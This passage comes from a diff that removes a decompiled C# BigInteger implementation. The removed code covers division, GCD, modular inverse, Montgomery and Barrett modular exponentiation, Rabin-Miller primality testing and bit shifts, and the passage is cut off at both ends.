yIndx, y); - } - - private static int CompareNoLeadingZeroes(int xIndx, int[] x, int yIndx, int[] y) - { - int num = x.Length - y.Length - (xIndx - yIndx); - if (num != 0) - { - if (num >= 0) - { - return 1; - } - return -1; - } - while (xIndx < x.Length) - { - uint num2 = (uint)x[xIndx++]; - uint num3 = (uint)y[yIndx++]; - if (num2 != num3) - { - if (num2 >= num3) - { - return 1; - } - return -1; - } - } - return 0; - } - - public int CompareTo(BigInteger value) - { - if (sign >= value.sign) - { - if (sign <= value.sign) - { - if (sign != 0) - { - return sign * CompareNoLeadingZeroes(0, magnitude, 0, value.magnitude); - } - return 0; - } - return 1; - } - return -1; - } - - private int[] Divide(int[] x, int[] y) - { - int i; - for (i = 0; i < x.Length && x[i] == 0; i++) - { - } - int j; - for (j = 0; j < y.Length && y[j] == 0; j++) - { - } - int num = CompareNoLeadingZeroes(i, x, j, y); - int[] array3; - if (num > 0) - { - int num2 = CalcBitLength(1, j, y); - int num3 = CalcBitLength(1, i, x); - int num4 = num3 - num2; - int k = 0; - int l = 0; - int num5 = num2; - int[] array; - int[] array2; - if (num4 > 0) - { - array = new int[(num4 >> 5) + 1]; - array[0] = 1 << num4 % 32; - array2 = ShiftLeft(y, num4); - num5 += num4; - } - else - { - array = new int[1] { 1 }; - int num6 = y.Length - j; - array2 = new int[num6]; - Array.Copy(y, j, array2, 0, num6); - } - array3 = new int[array.Length]; - while (true) - { - if (num5 < num3 || CompareNoLeadingZeroes(i, x, l, array2) >= 0) - { - Subtract(i, x, l, array2); - AddMagnitudes(array3, array); - while (x[i] == 0) - { - if (++i == x.Length) - { - return array3; - } - } - num3 = 32 * (x.Length - i - 1) + BitLen(x[i]); - if (num3 <= num2) - { - if (num3 < num2) - { - return array3; - } - num = CompareNoLeadingZeroes(i, x, j, y); - if (num <= 0) - { - break; - } - } - } - num4 = num5 - num3; - if (num4 == 1) - { - uint num7 = (uint)array2[l] >> 1; - uint num8 = (uint)x[i]; - if (num7 > num8) - { - num4++; - } - } - if (num4 < 2) - { - ShiftRightOneInPlace(l, array2); - num5--; - ShiftRightOneInPlace(k, array); - } - else - { - ShiftRightInPlace(l, array2, num4); - num5 -= num4; - ShiftRightInPlace(k, array, num4); - } - for (; array2[l] == 0; l++) - { - } - for (; array[k] == 0; k++) - { - } - } - } - else - { - array3 = new int[1]; - } - if (num == 0) - { - AddMagnitudes(array3, One.magnitude); - Array.Clear(x, i, x.Length - i); - } - return array3; - } - - public BigInteger Divide(BigInteger val) - { - if (val.sign == 0) - { - throw new ArithmeticException("Division by zero error"); - } - if (sign == 0) - { - return Zero; - } - if (val.QuickPow2Check()) - { - BigInteger bigInteger = Abs().ShiftRight(val.Abs().BitLength - 1); - if (val.sign != sign) - { - return bigInteger.Negate(); - } - return bigInteger; - } - int[] x = (int[])magnitude.Clone(); - return new BigInteger(sign * val.sign, Divide(x, val.magnitude), checkMag: true); - } - - public BigInteger[] DivideAndRemainder(BigInteger val) - { - if (val.sign == 0) - { - throw new ArithmeticException("Division by zero error"); - } - BigInteger[] array = new BigInteger[2]; - if (sign == 0) - { - array[0] = Zero; - array[1] = Zero; - } - else if (val.QuickPow2Check()) - { - int n = val.Abs().BitLength - 1; - BigInteger bigInteger = Abs().ShiftRight(n); - int[] mag = LastNBits(n); - array[0] = ((val.sign == sign) ? bigInteger : bigInteger.Negate()); - array[1] = new BigInteger(sign, mag, checkMag: true); - } - else - { - int[] array2 = (int[])magnitude.Clone(); - int[] mag2 = Divide(array2, val.magnitude); - array[0] = new BigInteger(sign * val.sign, mag2, checkMag: true); - array[1] = new BigInteger(sign, array2, checkMag: true); - } - return array; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is BigInteger bigInteger)) - { - return false; - } - if (sign == bigInteger.sign) - { - return IsEqualMagnitude(bigInteger); - } - return false; - } - - private bool IsEqualMagnitude(BigInteger x) - { - _ = x.magnitude; - if (magnitude.Length != x.magnitude.Length) - { - return false; - } - for (int i = 0; i < magnitude.Length; i++) - { - if (magnitude[i] != x.magnitude[i]) - { - return false; - } - } - return true; - } - - public BigInteger Gcd(BigInteger value) - { - if (value.sign == 0) - { - return Abs(); - } - if (sign == 0) - { - return value.Abs(); - } - BigInteger bigInteger = this; - BigInteger bigInteger2 = value; - while (bigInteger2.sign != 0) - { - BigInteger bigInteger3 = bigInteger.Mod(bigInteger2); - bigInteger = bigInteger2; - bigInteger2 = bigInteger3; - } - return bigInteger; - } - - public override int GetHashCode() - { - int num = magnitude.Length; - if (magnitude.Length > 0) - { - num ^= magnitude[0]; - if (magnitude.Length > 1) - { - num ^= magnitude[magnitude.Length - 1]; - } - } - if (sign >= 0) - { - return num; - } - return ~num; - } - - private BigInteger Inc() - { - if (sign == 0) - { - return One; - } - if (sign < 0) - { - return new BigInteger(-1, doSubBigLil(magnitude, One.magnitude), checkMag: true); - } - return AddToMagnitude(One.magnitude); - } - - public bool IsProbablePrime(int certainty) - { - return IsProbablePrime(certainty, randomlySelected: false); - } - - internal bool IsProbablePrime(int certainty, bool randomlySelected) - { - if (certainty <= 0) - { - return true; - } - BigInteger bigInteger = Abs(); - if (!bigInteger.TestBit(0)) - { - return bigInteger.Equals(Two); - } - if (bigInteger.Equals(One)) - { - return false; - } - return bigInteger.CheckProbablePrime(certainty, RandomSource, randomlySelected); - } - - private bool CheckProbablePrime(int certainty, Random random, bool randomlySelected) - { - int num = System.Math.Min(BitLength - 1, primeLists.Length); - for (int i = 0; i < num; i++) - { - int num2 = Remainder(primeProducts[i]); - int[] array = primeLists[i]; - foreach (int num3 in array) - { - if (num2 % num3 == 0) - { - if (BitLength < 16) - { - return IntValue == num3; - } - return false; - } - } - } - return RabinMillerTest(certainty, random, randomlySelected); - } - - public bool RabinMillerTest(int certainty, Random random) - { - return RabinMillerTest(certainty, random, randomlySelected: false); - } - - internal bool RabinMillerTest(int certainty, Random random, bool randomlySelected) - { - int bitLength = BitLength; - int num = (certainty - 1) / 2 + 1; - if (randomlySelected) - { - int num2 = ((bitLength >= 1024) ? 4 : ((bitLength >= 512) ? 8 : ((bitLength >= 256) ? 16 : 50))); - if (certainty < 100) - { - num = System.Math.Min(num2, num); - } - else - { - num -= 50; - num += num2; - } - } - int lowestSetBitMaskFirst = GetLowestSetBitMaskFirst(-2); - BigInteger e = ShiftRight(lowestSetBitMaskFirst); - BigInteger bigInteger = One.ShiftLeft(32 * magnitude.Length).Remainder(this); - BigInteger bigInteger2 = Subtract(bigInteger); - while (true) - { - BigInteger bigInteger3 = new BigInteger(BitLength, random); - if (bigInteger3.sign == 0 || bigInteger3.CompareTo(this) >= 0 || bigInteger3.IsEqualMagnitude(bigInteger) || bigInteger3.IsEqualMagnitude(bigInteger2)) - { - continue; - } - BigInteger bigInteger4 = ModPowMonty(bigInteger3, e, this, convert: false); - if (!bigInteger4.Equals(bigInteger)) - { - int num3 = 0; - while (!bigInteger4.Equals(bigInteger2)) - { - if (++num3 == lowestSetBitMaskFirst) - { - return false; - } - bigInteger4 = ModPowMonty(bigInteger4, Two, this, convert: false); - if (bigInteger4.Equals(bigInteger)) - { - return false; - } - } - } - if (--num <= 0) - { - break; - } - } - return true; - } - - public BigInteger Max(BigInteger value) - { - if (CompareTo(value) <= 0) - { - return value; - } - return this; - } - - public BigInteger Min(BigInteger value) - { - if (CompareTo(value) >= 0) - { - return value; - } - return this; - } - - public BigInteger Mod(BigInteger m) - { - if (m.sign < 1) - { - throw new ArithmeticException("Modulus must be positive"); - } - BigInteger bigInteger = Remainder(m); - if (bigInteger.sign < 0) - { - return bigInteger.Add(m); - } - return bigInteger; - } - - public BigInteger ModInverse(BigInteger m) - { - if (m.sign < 1) - { - throw new ArithmeticException("Modulus must be positive"); - } - if (m.QuickPow2Check()) - { - return ModInversePow2(m); - } - BigInteger a = Remainder(m); - BigInteger u1Out; - BigInteger bigInteger = ExtEuclid(a, m, out u1Out); - if (!bigInteger.Equals(One)) - { - throw new ArithmeticException("Numbers not relatively prime."); - } - if (u1Out.sign < 0) - { - return u1Out.Add(m); - } - return u1Out; - } - - private BigInteger ModInversePow2(BigInteger m) - { - if (!TestBit(0)) - { - throw new ArithmeticException("Numbers not relatively prime."); - } - int num = m.BitLength - 1; - long num2 = ModInverse64(LongValue); - if (num < 64) - { - num2 &= (1L << num) - 1; - } - BigInteger bigInteger = ValueOf(num2); - if (num > 64) - { - BigInteger val = Remainder(m); - int num3 = 64; - do - { - BigInteger n = bigInteger.Multiply(val).Remainder(m); - bigInteger = bigInteger.Multiply(Two.Subtract(n)).Remainder(m); - num3 <<= 1; - } - while (num3 < num); - } - if (bigInteger.sign < 0) - { - bigInteger = bigInteger.Add(m); - } - return bigInteger; - } - - private static int ModInverse32(int d) - { - int num = d + (((d + 1) & 4) << 1); - num *= 2 - d * num; - num *= 2 - d * num; - return num * (2 - d * num); - } - - private static long ModInverse64(long d) - { - long num = d + (((d + 1) & 4) << 1); - num *= 2 - d * num; - num *= 2 - d * num; - num *= 2 - d * num; - return num * (2 - d * num); - } - - private static BigInteger ExtEuclid(BigInteger a, BigInteger b, out BigInteger u1Out) - { - BigInteger bigInteger = One; - BigInteger bigInteger2 = Zero; - BigInteger bigInteger3 = a; - BigInteger bigInteger4 = b; - if (bigInteger4.sign > 0) - { - while (true) - { - BigInteger[] array = bigInteger3.DivideAndRemainder(bigInteger4); - bigInteger3 = bigInteger4; - bigInteger4 = array[1]; - BigInteger bigInteger5 = bigInteger; - bigInteger = bigInteger2; - if (bigInteger4.sign <= 0) - { - break; - } - bigInteger2 = bigInteger5.Subtract(bigInteger2.Multiply(array[0])); - } - } - u1Out = bigInteger; - return bigInteger3; - } - - private static void ZeroOut(int[] x) - { - Array.Clear(x, 0, x.Length); - } - - public BigInteger ModPow(BigInteger e, BigInteger m) - { - if (m.sign < 1) - { - throw new ArithmeticException("Modulus must be positive"); - } - if (m.Equals(One)) - { - return Zero; - } - if (e.sign == 0) - { - return One; - } - if (sign == 0) - { - return Zero; - } - bool flag = e.sign < 0; - if (flag) - { - e = e.Negate(); - } - BigInteger bigInteger = Mod(m); - if (!e.Equals(One)) - { - bigInteger = (((m.magnitude[m.magnitude.Length - 1] & 1) != 0) ? ModPowMonty(bigInteger, e, m, convert: true) : ModPowBarrett(bigInteger, e, m)); - } - if (flag) - { - bigInteger = bigInteger.ModInverse(m); - } - return bigInteger; - } - - private static BigInteger ModPowBarrett(BigInteger b, BigInteger e, BigInteger m) - { - int num = m.magnitude.Length; - BigInteger mr = One.ShiftLeft(num + 1 << 5); - BigInteger yu = One.ShiftLeft(num << 6).Divide(m); - int i = 0; - for (int bitLength = e.BitLength; bitLength > ExpWindowThresholds[i]; i++) - { - } - int num2 = 1 << i; - BigInteger[] array = new BigInteger[num2]; - array[0] = b; - BigInteger bigInteger = ReduceBarrett(b.Square(), m, mr, yu); - for (int j = 1; j < num2; j++) - { - array[j] = ReduceBarrett(array[j - 1].Multiply(bigInteger), m, mr, yu); - } - int[] windowList = GetWindowList(e.magnitude, i); - int num3 = windowList[0]; - int num4 = num3 & 0xFF; - int num5 = num3 >> 8; - BigInteger bigInteger2; - if (num4 == 1) - { - bigInteger2 = bigInteger; - num5--; - } - else - { - bigInteger2 = array[num4 >> 1]; - } - int num6 = 1; - while ((num3 = windowList[num6++]) != -1) - { - num4 = num3 & 0xFF; - int num7 = num5 + BitLengthTable[num4]; - for (int k = 0; k < num7; k++) - { - bigInteger2 = ReduceBarrett(bigInteger2.Square(), m, mr, yu); - } - bigInteger2 = ReduceBarrett(bigInteger2.Multiply(array[num4 >> 1]), m, mr, yu); - num5 = num3 >> 8; - } - for (int l = 0; l < num5; l++) - { - bigInteger2 = ReduceBarrett(bigInteger2.Square(), m, mr, yu); - } - return bigInteger2; - } - - private static BigInteger ReduceBarrett(BigInteger x, BigInteger m, BigInteger mr, BigInteger yu) - { - int bitLength = x.BitLength; - int bitLength2 = m.BitLength; - if (bitLength < bitLength2) - { - return x; - } - if (bitLength - bitLength2 > 1) - { - int num = m.magnitude.Length; - BigInteger bigInteger = x.DivideWords(num - 1); - BigInteger bigInteger2 = bigInteger.Multiply(yu); - BigInteger bigInteger3 = bigInteger2.DivideWords(num + 1); - BigInteger bigInteger4 = x.RemainderWords(num + 1); - BigInteger bigInteger5 = bigInteger3.Multiply(m); - BigInteger n = bigInteger5.RemainderWords(num + 1); - x = bigInteger4.Subtract(n); - if (x.sign < 0) - { - x = x.Add(mr); - } - } - while (x.CompareTo(m) >= 0) - { - x = x.Subtract(m); - } - return x; - } - - private static BigInteger ModPowMonty(BigInteger b, BigInteger e, BigInteger m, bool convert) - { - int num = m.magnitude.Length; - int num2 = 32 * num; - bool flag = m.BitLength + 2 <= num2; - uint mDash = (uint)m.GetMQuote(); - if (convert) - { - b = b.ShiftLeft(num2).Remainder(m); - } - int[] a = new int[num + 1]; - int[] array = b.magnitude; - if (array.Length < num) - { - int[] array2 = new int[num]; - array.CopyTo(array2, num - array.Length); - array = array2; - } - int i = 0; - if (e.magnitude.Length > 1 || e.BitCount > 2) - { - for (int bitLength = e.BitLength; bitLength > ExpWindowThresholds[i]; i++) - { - } - } - int num3 = 1 << i; - int[][] array3 = new int[num3][]; - array3[0] = array; - int[] array4 = Arrays.Clone(array); - SquareMonty(a, array4, m.magnitude, mDash, flag); - for (int j = 1; j < num3; j++) - { - array3[j] = Arrays.Clone(array3[j - 1]); - MultiplyMonty(a, array3[j], array4, m.magnitude, mDash, flag); - } - int[] windowList = GetWindowList(e.magnitude, i); - int num4 = windowList[0]; - int num5 = num4 & 0xFF; - int num6 = num4 >> 8; - int[] array5; - if (num5 == 1) - { - array5 = array4; - num6--; - } - else - { - array5 = Arrays.Clone(array3[num5 >> 1]); - } - int num7 = 1; - while ((num4 = windowList[num7++]) != -1) - { - num5 = num4 & 0xFF; - int num8 = num6 + BitLengthTable[num5]; - for (int k = 0; k < num8; k++) - { - SquareMonty(a, array5, m.magnitude, mDash, flag); - } - MultiplyMonty(a, array5, array3[num5 >> 1], m.magnitude, mDash, flag); - num6 = num4 >> 8; - } - for (int l = 0; l < num6; l++) - { - SquareMonty(a, array5, m.magnitude, mDash, flag); - } - if (convert) - { - MontgomeryReduce(array5, m.magnitude, mDash); - } - else if (flag && CompareTo(0, array5, 0, m.magnitude) >= 0) - { - Subtract(0, array5, 0, m.magnitude); - } - return new BigInteger(1, array5, checkMag: true); - } - - private static int[] GetWindowList(int[] mag, int extraBits) - { - int num = mag[0]; - int num2 = BitLen(num); - int num3 = ((mag.Length - 1 << 5) + num2) / (1 + extraBits) + 2; - int[] array = new int[num3]; - int num4 = 0; - int num5 = 33 - num2; - num <<= num5; - int num6 = 1; - int num7 = 1 << extraBits; - int num8 = 0; - int num9 = 0; - while (true) - { - if (num5 < 32) - { - if (num6 < num7) - { - num6 = (num6 << 1) | (num >>> 31); - } - else if (num < 0) - { - array[num4++] = CreateWindowEntry(num6, num8); - num6 = 1; - num8 = 0; - } - else - { - num8++; - } - num <<= 1; - num5++; - } - else - { - if (++num9 == mag.Length) - { - break; - } - num = mag[num9]; - num5 = 0; - } - } - array[num4++] = CreateWindowEntry(num6, num8); - array[num4] = -1; - return array; - } - - private static int CreateWindowEntry(int mult, int zeroes) - { - while ((mult & 1) == 0) - { - mult >>= 1; - zeroes++; - } - return mult | (zeroes << 8); - } - - private static int[] Square(int[] w, int[] x) - { - int num = w.Length - 1; - ulong num4; - for (int num2 = x.Length - 1; num2 > 0; num2--) - { - ulong num3 = (uint)x[num2]; - num4 = num3 * num3 + (uint)w[num]; - w[num] = (int)num4; - num4 >>= 32; - for (int num5 = num2 - 1; num5 >= 0; num5--) - { - ulong num6 = num3 * (uint)x[num5]; - num4 += ((ulong)(uint)w[--num] & 0xFFFFFFFFuL) + (uint)((int)num6 << 1); - w[num] = (int)num4; - num4 = (num4 >> 32) + (num6 >> 31); - } - num4 += (uint)w[--num]; - w[num] = (int)num4; - if (--num >= 0) - { - w[num] = (int)(num4 >> 32); - } - num += num2; - } - num4 = (uint)x[0]; - num4 = num4 * num4 + (uint)w[num]; - w[num] = (int)num4; - if (--num >= 0) - { - int[] array2; - int[] array = (array2 = w); - int num7 = num; - nint num8 = num7; - array[num7] = array2[num8] + (int)(num4 >> 32); - } - return w; - } - - private static int[] Multiply(int[] x, int[] y, int[] z) - { - int num = z.Length; - if (num < 1) - { - return x; - } - int num2 = x.Length - y.Length; - do - { - long num3 = z[--num] & 0xFFFFFFFFu; - long num4 = 0L; - if (num3 != 0) - { - for (int num5 = y.Length - 1; num5 >= 0; num5--) - { - num4 += num3 * (y[num5] & 0xFFFFFFFFu) + (x[num2 + num5] & 0xFFFFFFFFu); - x[num2 + num5] = (int)num4; - num4 >>>= 32; - } - } - num2--; - if (num2 >= 0) - { - x[num2] = (int)num4; - } - } - while (num > 0); - return x; - } - - private int GetMQuote() - { - if (mQuote != 0) - { - return mQuote; - } - int d = -magnitude[magnitude.Length - 1]; - return mQuote = ModInverse32(d); - } - - private static void MontgomeryReduce(int[] x, int[] m, uint mDash) - { - int num = m.Length; - for (int num2 = num - 1; num2 >= 0; num2--) - { - uint num3 = (uint)x[num - 1]; - ulong num4 = num3 * mDash; - ulong num5 = num4 * (uint)m[num - 1] + num3; - num5 >>= 32; - for (int num6 = num - 2; num6 >= 0; num6--) - { - num5 += num4 * (uint)m[num6] + (uint)x[num6]; - x[num6 + 1] = (int)num5; - num5 >>= 32; - } - x[0] = (int)num5; - } - if (CompareTo(0, x, 0, m) >= 0) - { - Subtract(0, x, 0, m); - } - } - - private static void MultiplyMonty(int[] a, int[] x, int[] y, int[] m, uint mDash, bool smallMontyModulus) - { - int num = m.Length; - if (num == 1) - { - x[0] = (int)MultiplyMontyNIsOne((uint)x[0], (uint)y[0], (uint)m[0], mDash); - return; - } - uint num2 = (uint)y[num - 1]; - ulong num3 = (uint)x[num - 1]; - ulong num4 = num3 * num2; - ulong num5 = (uint)(int)num4 * mDash; - ulong num6 = num5 * (uint)m[num - 1]; - num4 += (uint)num6; - num4 = (num4 >> 32) + (num6 >> 32); - for (int num7 = num - 2; num7 >= 0; num7--) - { - ulong num8 = num3 * (uint)y[num7]; - num6 = num5 * (uint)m[num7]; - num4 += (num8 & 0xFFFFFFFFu) + (uint)num6; - a[num7 + 2] = (int)num4; - num4 = (num4 >> 32) + (num8 >> 32) + (num6 >> 32); - } - a[1] = (int)num4; - int num9 = (int)(num4 >> 32); - for (int num10 = num - 2; num10 >= 0; num10--) - { - uint num11 = (uint)a[num]; - ulong num12 = (uint)x[num10]; - ulong num13 = num12 * num2; - ulong num14 = (num13 & 0xFFFFFFFFu) + num11; - ulong num15 = (uint)(int)num14 * mDash; - ulong num16 = num15 * (uint)m[num - 1]; - num14 += (uint)num16; - num14 = (num14 >> 32) + (num13 >> 32) + (num16 >> 32); - for (int num17 = num - 2; num17 >= 0; num17--) - { - num13 = num12 * (uint)y[num17]; - num16 = num15 * (uint)m[num17]; - num14 += (num13 & 0xFFFFFFFFu) + (uint)num16 + (uint)a[num17 + 1]; - a[num17 + 2] = (int)num14; - num14 = (num14 >> 32) + (num13 >> 32) + (num16 >> 32); - } - num14 += (uint)num9; - a[1] = (int)num14; - num9 = (int)(num14 >> 32); - } - a[0] = num9; - if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0) - { - Subtract(0, a, 0, m); - } - Array.Copy(a, 1, x, 0, num); - } - - private static void SquareMonty(int[] a, int[] x, int[] m, uint mDash, bool smallMontyModulus) - { - int num = m.Length; - if (num == 1) - { - uint num2 = (uint)x[0]; - x[0] = (int)MultiplyMontyNIsOne(num2, num2, (uint)m[0], mDash); - return; - } - ulong num3 = (uint)x[num - 1]; - ulong num4 = num3 * num3; - ulong num5 = (uint)(int)num4 * mDash; - ulong num6 = num5 * (uint)m[num - 1]; - num4 += (uint)num6; - num4 = (num4 >> 32) + (num6 >> 32); - for (int num7 = num - 2; num7 >= 0; num7--) - { - ulong num8 = num3 * (uint)x[num7]; - num6 = num5 * (uint)m[num7]; - num4 += (num6 & 0xFFFFFFFFu) + (uint)((int)num8 << 1); - a[num7 + 2] = (int)num4; - num4 = (num4 >> 32) + (num8 >> 31) + (num6 >> 32); - } - a[1] = (int)num4; - int num9 = (int)(num4 >> 32); - for (int num10 = num - 2; num10 >= 0; num10--) - { - uint num11 = (uint)a[num]; - ulong num12 = num11 * mDash; - ulong num13 = num12 * (uint)m[num - 1] + num11; - num13 >>= 32; - for (int num14 = num - 2; num14 > num10; num14--) - { - num13 += num12 * (uint)m[num14] + (uint)a[num14 + 1]; - a[num14 + 2] = (int)num13; - num13 >>= 32; - } - ulong num15 = (uint)x[num10]; - ulong num16 = num15 * num15; - ulong num17 = num12 * (uint)m[num10]; - num13 += (num16 & 0xFFFFFFFFu) + (uint)num17 + (uint)a[num10 + 1]; - a[num10 + 2] = (int)num13; - num13 = (num13 >> 32) + (num16 >> 32) + (num17 >> 32); - for (int num18 = num10 - 1; num18 >= 0; num18--) - { - ulong num19 = num15 * (uint)x[num18]; - ulong num20 = num12 * (uint)m[num18]; - num13 += (num20 & 0xFFFFFFFFu) + (uint)((int)num19 << 1) + (uint)a[num18 + 1]; - a[num18 + 2] = (int)num13; - num13 = (num13 >> 32) + (num19 >> 31) + (num20 >> 32); - } - num13 += (uint)num9; - a[1] = (int)num13; - num9 = (int)(num13 >> 32); - } - a[0] = num9; - if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0) - { - Subtract(0, a, 0, m); - } - Array.Copy(a, 1, x, 0, num); - } - - private static uint MultiplyMontyNIsOne(uint x, uint y, uint m, uint mDash) - { - ulong num = (ulong)x * (ulong)y; - uint num2 = (uint)(int)num * mDash; - ulong num3 = m; - ulong num4 = num3 * num2; - num += (uint)num4; - num = (num >> 32) + (num4 >> 32); - if (num > num3) - { - num -= num3; - } - return (uint)num; - } - - public BigInteger Multiply(BigInteger val) - { - if (val == this) - { - return Square(); - } - if ((sign & val.sign) == 0) - { - return Zero; - } - if (val.QuickPow2Check()) - { - BigInteger bigInteger = ShiftLeft(val.Abs().BitLength - 1); - if (val.sign <= 0) - { - return bigInteger.Negate(); - } - return bigInteger; - } - if (QuickPow2Check()) - { - BigInteger bigInteger2 = val.ShiftLeft(Abs().BitLength - 1); - if (sign <= 0) - { - return bigInteger2.Negate(); - } - return bigInteger2; - } - int num = magnitude.Length + val.magnitude.Length; - int[] array = new int[num]; - Multiply(array, magnitude, val.magnitude); - int signum = sign ^ val.sign ^ 1; - return new BigInteger(signum, array, checkMag: true); - } - - public BigInteger Square() - { - if (sign == 0) - { - return Zero; - } - if (QuickPow2Check()) - { - return ShiftLeft(Abs().BitLength - 1); - } - int num = magnitude.Length << 1; - if (magnitude[0] >>> 16 == 0) - { - num--; - } - int[] array = new int[num]; - Square(array, magnitude); - return new BigInteger(1, array, checkMag: false); - } - - public BigInteger Negate() - { - if (sign == 0) - { - return this; - } - return new BigInteger(-sign, magnitude, checkMag: false); - } - - public BigInteger NextProbablePrime() - { - if (sign < 0) - { - throw new ArithmeticException("Cannot be called on value < 0"); - } - if (CompareTo(Two) < 0) - { - return Two; - } - BigInteger bigInteger = Inc().SetBit(0); - while (!bigInteger.CheckProbablePrime(100, RandomSource, randomlySelected: false)) - { - bigInteger = bigInteger.Add(Two); - } - return bigInteger; - } - - public BigInteger Not() - { - return Inc().Negate(); - } - - public BigInteger Pow(int exp) - { - if (exp <= 0) - { - if (exp < 0) - { - throw new ArithmeticException("Negative exponent"); - } - return One; - } - if (sign == 0) - { - return this; - } - if (QuickPow2Check()) - { - long num = (long)exp * (long)(BitLength - 1); - if (num > int.MaxValue) - { - throw new ArithmeticException("Result too large"); - } - return One.ShiftLeft((int)num); - } - BigInteger bigInteger = One; - BigInteger bigInteger2 = this; - while (true) - { - if ((exp & 1) == 1) - { - bigInteger = bigInteger.Multiply(bigInteger2); - } - exp >>= 1; - if (exp == 0) - { - break; - } - bigInteger2 = bigInteger2.Multiply(bigInteger2); - } - return bigInteger; - } - - public static BigInteger ProbablePrime(int bitLength, Random random) - { - return new BigInteger(bitLength, 100, random); - } - - private int Remainder(int m) - { - long num = 0L; - for (int i = 0; i < magnitude.Length; i++) - { - long num2 = (uint)magnitude[i]; - num = ((num << 32) | num2) % m; - } - return (int)num; - } - - private static int[] Remainder(int[] x, int[] y) - { - int i; - for (i = 0; i < x.Length && x[i] == 0; i++) - { - } - int j; - for (j = 0; j < y.Length && y[j] == 0; j++) - { - } - int num = CompareNoLeadingZeroes(i, x, j, y); - if (num > 0) - { - int num2 = CalcBitLength(1, j, y); - int num3 = CalcBitLength(1, i, x); - int num4 = num3 - num2; - int k = 0; - int num5 = num2; - int[] array; - if (num4 > 0) - { - array = ShiftLeft(y, num4); - num5 += num4; - } - else - { - int num6 = y.Length - j; - array = new int[num6]; - Array.Copy(y, j, array, 0, num6); - } - while (true) - { - if (num5 < num3 || CompareNoLeadingZeroes(i, x, k, array) >= 0) - { - Subtract(i, x, k, array); - while (x[i] == 0) - { - if (++i == x.Length) - { - return x; - } - } - num3 = 32 * (x.Length - i - 1) + BitLen(x[i]); - if (num3 <= num2) - { - if (num3 < num2) - { - return x; - } - num = CompareNoLeadingZeroes(i, x, j, y); - if (num <= 0) - { - break; - } - } - } - num4 = num5 - num3; - if (num4 == 1) - { - uint num7 = (uint)array[k] >> 1; - uint num8 = (uint)x[i]; - if (num7 > num8) - { - num4++; - } - } - if (num4 < 2) - { - ShiftRightOneInPlace(k, array); - num5--; - } - else - { - ShiftRightInPlace(k, array, num4); - num5 -= num4; - } - for (; array[k] == 0; k++) - { - } - } - } - if (num == 0) - { - Array.Clear(x, i, x.Length - i); - } - return x; - } - - public BigInteger Remainder(BigInteger n) - { - if (n.sign == 0) - { - throw new ArithmeticException("Division by zero error"); - } - if (sign == 0) - { - return Zero; - } - if (n.magnitude.Length == 1) - { - int num = n.magnitude[0]; - if (num > 0) - { - if (num == 1) - { - return Zero; - } - int num2 = Remainder(num); - if (num2 != 0) - { - return new BigInteger(sign, new int[1] { num2 }, checkMag: false); - } - return Zero; - } - } - if (CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude) < 0) - { - return this; - } - int[] mag; - if (n.QuickPow2Check()) - { - mag = LastNBits(n.Abs().BitLength - 1); - } - else - { - mag = (int[])magnitude.Clone(); - mag = Remainder(mag, n.magnitude); - } - return new BigInteger(sign, mag, checkMag: true); - } - - private int[] LastNBits(int n) - { - if (n < 1) - { - return ZeroMagnitude; - } - int val = (n + 32 - 1) / 32; - val = System.Math.Min(val, magnitude.Length); - int[] array = new int[val]; - Array.Copy(magnitude, magnitude.Length - val, array, 0, val); - int num = (val << 5) - n; - if (num > 0) - { - int[] array2; - (array2 = array)[0] = array2[0] & (-1 >>> num); - } - return array; - } - - private BigInteger DivideWords(int w) - { - int num = magnitude.Length; - if (w >= num) - { - return Zero; - } - int[] array = new int[num - w]; - Array.Copy(magnitude, 0, array, 0, num - w); - return new BigInteger(sign, array, checkMag: false); - } - - private BigInteger RemainderWords(int w) - { - int num = magnitude.Length; - if (w >= num) - { - return this; - } - int[] array = new int[w]; - Array.Copy(magnitude, num - w, array, 0, w); - return new BigInteger(sign, array, checkMag: false); - } - - private static int[] ShiftLeft(int[] mag, int n) - { - int num = n >>> 5; - int num2 = n & 0x1F; - int num3 = mag.Length; - int[] array; - if (num2 == 0) - { - array = new int[num3 + num]; - mag.CopyTo(array, 0); - } - else - { - int num4 = 0; - int num5 = 32 - num2; - int num6 = mag[0] >>> num5; - if (num6 != 0) - { - array = new int[num3 + num + 1]; - array[num4++] = num6; - } - else - { - array = new int[num3 + num]; - } - int num7 = mag[0]; - for (int i = 0; i < num3 - 1; i++) - { - int num8 = mag[i + 1]; - array[num4++] = (num7 << num2) | (num8 >>> num5); - num7 = num8; - } - array[num4] = mag[num3 - 1] << num2; - } - return array; - } - - private static int ShiftLeftOneInPlace(int[] x, int carry) - { - int num = x.Length; - while (--num >= 0) - { - uint num2 = (uint)x[num]; - x[num] = (int)(num2 << 1) | carry; - carry = (int)(num2 >> 31); - } - return carry; - } - - public BigInteger ShiftLeft(int n) - { - if (sign == 0 || magnitude.Length == 0) - { - return Zero; - } - if (n == 0) - { - return this; - } - if (n < 0) - { - return ShiftRight(-n); - } - BigInteger bigInteger = new BigInteger(sign, ShiftLeft(magnitude, n), checkMag: true); - if (nBits != -1) - { - bigInteger.nBits = ((sign > 0) ? nBits : (nBits + n)); - } - if (nBitLength != -1) - { - bigInteger.nBitLength = nBitLength + n; - } - return bigInteger; - } - - private static void ShiftRightInPlace(int start, int[] mag, int n) - { - int num = (n >>> 5) + start; - int num2 = n & 0x1F; - int num3 = mag.Length - 1; - if (num != start) - { - int num4 = num - start; - for (int num5 = num3; num5 >= num; num5--) - { - mag[num5] = mag[num5 - num4]; - } - for (int num6 = num - 1; num6 >= start; num6--) - { - mag[num6] = 0; - } - } - if (num2 != 0) - { - int num7 = 32 - num2; - int num8 = mag[num3]; - for (int num9 = num3; num9 > num; num9--) - { - int num10 = mag[num9 - 1]; - mag[num9] = (num8 >>> num2) | (num10 << num7); - num8 = num10; - } - mag[num] >>>= num2; - } - } - - private static void ShiftRightOneInPlace(int start, int[] mag) - { - int num = mag.Length; - int num2 = mag[num - 1]; - while (--num > start) - { - int num3 = mag[num - 1]; - mag[num] = (num2 >>> 1) | (num3 << 31); - num2 = num3; - } - mag[start] >>>= 1; - } - - public BigInteger ShiftRight(int n) - { - if (n == 0) - { - return this; - } - if (n < 0) - { - return ShiftLeft(-n); - } - if (n >= BitLength) - { - if (sign >= 0) - { - return Zero; - } - return One.Negate(); - } - int num = BitLength - n + 31 >> 5; - int[] array = new int[num]; - int num2 = n >> 5; - int num3 = n & 